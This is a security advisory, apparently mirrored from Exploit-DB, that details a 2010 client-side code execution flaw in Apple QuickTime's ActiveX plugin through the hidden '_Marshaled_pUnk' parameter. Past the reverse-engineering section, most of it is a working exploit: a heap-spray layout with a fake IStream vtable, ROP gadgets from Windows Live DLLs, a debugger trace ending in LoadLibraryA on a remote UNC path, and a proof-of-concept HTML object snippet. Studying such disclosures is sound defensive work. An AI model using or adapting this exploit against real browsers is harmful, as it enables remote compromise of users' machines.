Apple QuickTime – ‘_Marshaled_pUnk’ Backdoor Client-Side Arbitrary Code Execution

  • 作者: Ruben Santamarta
    日期: 2010-08-30
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/14843/
  • Original Source: http://reversemode.com/index.php?option=com_content&task=view&id=69&Itemid=1
    
    Victim prerequisites:
    
    * Internet Explorer.
    * XP,Vista,W7.
    * Apple Quicktime 7.x, 6.x ( 2004 versions are also vulnerable, older versions not checked )
    
    1. Victim is enticed into visiting, by any mean, a specially crafted webpage.
    2. Attacker's payload to be executed under the context of the browser.
    3. Attacker calls his girlfriend to inform about the successful exploitation, who indeed turns out to be very interested in the issue. She demands more technical details.
    4. Attacker wakes up.
    
    
    Technical details
    
    QTPlugin.ocx implements IPersistPropertyBag2::Read (1000E330) to handle params received from where it is embedded, including HTML documents.
    
    Let's take a look
    
    .text:1000E330
    .text:1000E330 ; =============== S U B R O U T I N E =======================================
    .text:1000E330
    .text:1000E330
    .text:1000E330 sub_1000E330proc near ; DATA XREF: .rdata:1002E0ECo
    .text:1000E330 ; .rdata:1002E86Co
    .text:1000E330
    .text:1000E330 arg_0 = dword ptr4
    .text:1000E330 arg_4 = dword ptr8
    .text:1000E330 arg_8 = dword ptr0Ch
    .text:1000E330
    .text:1000E330 pushesi
    .text:1000E331 mov esi, [esp+4+arg_0]
    .text:1000E335 mov ecx, [esi+84h]
    .text:1000E33B xor eax, eax
    .text:1000E33D testecx, ecx
    .text:1000E33F jzshort loc_1000E393
    .text:1000E341 mov eax, [esp+4+arg_8]
    .text:1000E345 mov edx, [esp+4+arg_4]
    .text:1000E349 pusheax
    .text:1000E34A pushedx
    .text:1000E34B callsub_100031F0 
    
    
    
    Following the flow...
    
    sub_10002980+27A
    sub_10002980+27Aloc_10002BFA: ; CODE XREF: sub_10002980+266j
    sub_10002980+27A; sub_10002980+272j
    sub_10002980+27Apushoffset aType; "type"
    sub_10002980+27Fpushebx ; lpString1
    sub_10002980+280callebp ; lstrcmpiA
    sub_10002980+282testeax, eax
    sub_10002980+284jnz short loc_10002C22
    sub_10002980+286pushedi ; lpString
    sub_10002980+287callds:lstrlenA
    sub_10002980+28Dcmp eax, 104h
    sub_10002980+292jnb short loc_10002C22
    sub_10002980+294pushedi ; lpString2
    sub_10002980+295lea edx, [esi+83Ch]
    sub_10002980+29Bpushedx ; lpString1
    sub_10002980+29Ccallds:lstrcpyA
    sub_10002980+2A2
    sub_10002980+2A2loc_10002C22: ; CODE XREF: sub_10002980+284j
    sub_10002980+2A2; sub_10002980+292j
    sub_10002980+2A2pushoffset a_marshaled_pun ; "_Marshaled_pUnk"
    sub_10002980+2A7pushebx ; lpString1
    sub_10002980+2A8callebp ; lstrcmpiA
    sub_10002980+2AAtesteax, eax
    sub_10002980+2ACjnz short loc_10002C4A
    sub_10002980+2AEpushedi
    sub_10002980+2AFcallsub_10001310 ; SIMPLE ASCII NUMBERS TO LONG routine
    sub_10002980+2B4add esp, 4
    sub_10002980+2B7lea ecx, [esi+13B8h]
    sub_10002980+2BDpushecx ; ppv
    sub_10002980+2BEpushoffset iid; iid
    sub_10002980+2C3pusheax ; pStm
    sub_10002980+2C4callds:CoGetInterfaceAndReleaseStream; WE HAVE A WINNER!!
    sub_10002980+2CA
    sub_10002980+2CAloc_10002C4A: ; CODE XREF: sub_10002980+2ACj
    sub_10002980+2CApushedi ; int
    
    
    
    
    Oops! programming rules state that hidden properties should be preceded by "_" so this property matches the requirement. It's time to google "_Marshaled_pUnk" which brings us 0 results. Apple scripting guide for Quicktime does not even mention it. Weird.
    
    What's is going on here?
    
    QTPlugin.OCX checks for the existence of "_Marshaled_pUnk" within object's attributes, if so, unmarshals it by converting the address from its ascii representation into a numerical one ( sub_10001310 ). Then, it uses the resulting pointer as pStm,"A pointer to the IStream interface on the stream to be unmarshaled", CoGetInterfaceAndReleaseStream in order to obtain the IUnknown pointer (pUnk from now on) of the marshalled interface. This method is pretty common for sharing interface pointers between threads within COM enabled scenarios ( e.g browsers + plugins ).
    
    So we are controlling an IStream pointer, which is good :)
    
    However at this point the things didn't make sense for me. Despite of the fact that a CPluginHost object's variable holds this pointer (pPlugin+0x13b8), pUnk is never used,. According to the COM model, this pointer shouldn't be used by any other thread. Why in the hell an apple engineer implemented this? A conspiration between NSA, FSB and the bloody Andorra's secret service may be possible but I think there must be another explanation.
    
    Back to the future
    
    So I am downloading an older version of QTPlugin.ocx, which dates from 2004 (6.5.1.17), to try to explain an issue in 2010, cool.
    
    Module: QTPlugin.ocx
    
    .text:6670BE86 mov eax, [ebp+1480h ; pPlugin->pUnk ]
    .text:6670BE8C cmp eax, edi
    .text:6670BE8E jzshort loc_6670BEF7
    .text:6670BE90 lea edx, [esp+7Ch+pHandles]
    .text:6670BE97 mov [esp+7Ch+pHandles], edi
    .text:6670BE9E mov ecx, [eax]
    .text:6670BEA0 pushedx
    .text:6670BEA1 pushoffset dword_667214C8 ;IID_IViewObject
    .text:6670BEA6 pusheax
    .text:6670BEA7 calldword ptr [ecx]; pUnk->QueryInterface(IID_IViewObject,pView)
    .text:6670BEA9 testeax, eax
    .text:6670BEAB jlshort loc_6670BEF7
    .text:6670BEAD mov edx, [esp+7Ch+arg_10]
    .text:6670BEB4 pushedi
    .text:6670BEB5 pushedi
    .text:6670BEB6 mov eax, [esp+84h+pHandles]
    .text:6670BEBD pushedx
    .text:6670BEBE mov edx, [esp+88h+arg_C]
    .text:6670BEC5 mov ecx, [eax]
    .text:6670BEC7 pushedx
    .text:6670BEC8 mov edx, [esp+8Ch+hdc]
    .text:6670BECF pushedx
    .text:6670BED0 mov edx, [esp+90h+arg_4]
    .text:6670BED7 pushesi
    .text:6670BED8 pushedi
    .text:6670BED9 pushedi
    .text:6670BEDA push0FFFFFFFFh
    .text:6670BEDC pushedx
    .text:6670BEDD pusheax
    .text:6670BEDE calldword ptr [ecx+0Ch] ; pView->Draw(...)
     
    
    
    
    Reversing this function we can see that, in certain cases, QTPlugin.ocx could be instructed to draw contents onto an existing window instead of creating a new one. Mistery solved.
    
    However, although this functionality was removed in newer versions, the param is still present. Why? I guess someone forgot to clean up the code .
    
    Exploiting it
    
    We are controlling the IStream Pointer passed to CoGetInterfaceAndReleaseStream, at a certain point during the execution flow of this function, an IStream method is going to be referenced.
    
    ole32!wCoGetInterfaceAndReleaseStream -> ole32!CoUnmarshalInterface -> ole32!ReadObjRef -> ole32!StRead < = p0wn!!
    
    So all we need to do is emulate a fake IStream interface in memory. How? aligned heap spray FTW!
    
    This is how our sprayed block would look in memory
    
    Heap Value
    15220c2015220c18// Fake VTable pointer
    15220c2429527ae7// gadget1 WindowsLiveLogin
    15220c2827582d63// gadget2msidcrl40.dll
    15220c2c15220d08// pParam for LoadLibrary (DLL UNC PATH )
    15220c3015220cbc// -add ecx, 0A0h, mov eax, [ecx]...- gadget2
    15220c3415220cbc
    15220c3815220cbc
    15220c3c15220cbc
    15220c4015220cbc
    15220c4415220cbc
    15220c4815220cbc
    15220c4c15220cbc
    15220c5015220cbc
    15220c5415220cbc
    15220c5815220cbc
    15220c5c15220cbc
    15220c6015220cbc
    15220c6415220cbc
    15220c6815220cbc
    [...]
    15220c9815220cbc
    15220c9c15220cbc
    15220ca015220cbc
    15220ca415220cbc
    15220ca815220cbc
    15220cac15220cbc
    15220cb015220cbc
    15220cb415220cbc
    15220cb815220cbc
    15220cbc15220cbc
    15220cc015220cbc
    15220cc415220cbc
    15220cc8295481e8
    15220ccc295481e8 // LoadLibraryA 
    15220cd0295481e8
    15220cd4295481e8
    15220cd8295481e8
    15220cdc295481e8
    15220ce0295481e8
    15220ce4295481e8
    15220ce8295481e8
    15220cec295481e8
    15220cf0295481e8
    15220cf4295481e8
    15220cf8295481e8
    15220cfc295481e8
    15220d00295481e8
    15220d04295481e8
    15220d0870785c5c// DLL UNC PATH"\\xpl8.nu\1"
    15220d0c6e2e386c
    15220d1000315c75
    
    
    
    Data is sprayed in such a manner we know that, despite of ASLR, at 0xXXXXX020, 0xXXXXX420,0xXXXXX820,0xXXXXXc20 our block can be located.
    
    As you can see a couple of gadgets are used, since this is a ROP exploit, however esp is not controlled at all. I'm taking advantage of common code generated by c++ compilers to control parameters and execution.
    
    The gadgets come from Windows Live messenger dlls that are loaded by default on IE and have no ASLR flag.
    
    0x29527AE7 WindowsLiveLogin.dll gadget1
    
    mov edx, [esi+0Ch]
    mov eax, [esi+8] 
    pushedi
    pushoffset dword_29501B68
    pushedx
    calleax
    
    0x27582D63 msidcrl40.dll gadget2
    
    add ecx, 0A0h
    mov eax, [ecx]
    mov eax, [eax+10h]
    pop ebp
    jmp eax
    
    
    
    
    stepping into the payload
    
    ole32!StRead+0x15:
    75c9af58 ff510ccalldword ptr [ecx+0Ch]ds:0023:15220c24=29527ae7 
    0:004> t
    eax=15220c20 ebx=05ca72a8 ecx=15220c18 edx=02c13968 esi=15220c20 edi=02c139d0
    eip=29527ae7 esp=02c1394c ebp=02c13960 iopl=0 nv up ei pl nz na po nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
    WindowsLiveLogin!DllCanUnloadNow+0x937:
    29527ae7 8b560cmov edx,dword ptr [esi+0Ch] ds:0023:15220c2c=15220d08
    
    0:004> t
    eax=15220c20 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=29527aea esp=02c1394c ebp=02c13960 iopl=0 nv up ei pl nz na po nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
    WindowsLiveLogin!DllCanUnloadNow+0x93a:
    29527aea 8b4608mov eax,dword ptr [esi+8] ds:0023:15220c28=27582d63
    
    0:004> t
    eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=29527aed esp=02c1394c ebp=02c13960 iopl=0 nv up ei pl nz na po nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
    WindowsLiveLogin!DllCanUnloadNow+0x93d:
    29527aed 57pushedi
    
    0:004> t
    eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=29527aee esp=02c13948 ebp=02c13960 iopl=0 nv up ei pl nz na po nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
    WindowsLiveLogin!DllCanUnloadNow+0x93e:
    29527aee 68681b5029pushoffset WindowsLiveLogin+0x1b68 (29501b68)
    
    0:004> t
    eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=29527af3 esp=02c13944 ebp=02c13960 iopl=0 nv up ei pl nz na po nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
    WindowsLiveLogin!DllCanUnloadNow+0x943:
    29527af3 52pushedx
    
    0:004> t
    eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=29527af4 esp=02c13940 ebp=02c13960 iopl=0 nv up ei pl nz na po nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
    WindowsLiveLogin!DllCanUnloadNow+0x944:
    29527af4 ffd0calleax {msidcrl40!EnumerateDeviceID+0xa113 (27582d63)}
    
    0:004> t
    eax=27582d63 ebx=05ca72a8 ecx=15220c18 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=27582d63 esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na po nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000202
    msidcrl40!EnumerateDeviceID+0xa113:
    27582d63 81c1a0000000add ecx,0A0h
    
    0:004> t
    eax=27582d63 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=27582d69 esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na pe nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000206
    msidcrl40!EnumerateDeviceID+0xa119:
    27582d69 8b01mov eax,dword ptr [ecx]ds:0023:15220cb8=15220cbc
    
    0:004> t
    eax=15220cbc ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=27582d6b esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na pe nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000206
    msidcrl40!EnumerateDeviceID+0xa11b:
    27582d6b 8b4010mov eax,dword ptr [eax+10h] ds:0023:15220ccc=295481e8
    
    0:004> t
    eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=27582d6e esp=02c1393c ebp=02c13960 iopl=0 nv up ei pl nz na pe nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000206
    msidcrl40!EnumerateDeviceID+0xa11e:
    27582d6e 5dpop ebp
    
    0:004> t
    eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=27582d6f esp=02c13940 ebp=29527af6 iopl=0 nv up ei pl nz na pe nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000206
    msidcrl40!EnumerateDeviceID+0xa11f:
    27582d6f ffe0jmp eax {WindowsLiveLogin!DllUnregisterServer+0x1f588 (295481e8)}
    
    0:004> t
    eax=295481e8 ebx=05ca72a8 ecx=15220cb8 edx=15220d08 esi=15220c20 edi=02c139d0
    eip=295481e8 esp=02c13940 ebp=29527af6 iopl=0 nv up ei pl nz na pe nc
    cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00000206
    WindowsLiveLogin!DllUnregisterServer+0x1f588:
    295481e8 ff15f8105029calldword ptr [WindowsLiveLogin+0x10f8 (295010f8)] ds:0023:295010f8={IEShims!NS_RedirectFiles::APIHook_LoadLibraryA (63e8fbe1)}
    
    0:004> db poi(esp)
    15220d085c 5c 78 70 6c 38 2e 6e-75 5c 31 00 00 00 00 00\\xpl8.nu\1.....p0wn!! 
    
    
    
    Unfortunately, due to DLL Hijacking fiasco workaround, a LoadLibrary+UNC payload seems not very dangerous...isn't it? ;)
    
    The exploit defeats ASLR+DEP and has been successfully tested on W7, Vista and XP.
    
    A metasploit module should be available soon since I sent the exploit details to Josuah Drake some days before releasing this advisory. PoC:
    
     addr = 354552864; // 0x15220C20 [pUnk]
     var obj='<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'
    	 +'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>'
    	 +'<'+'/'+'object>';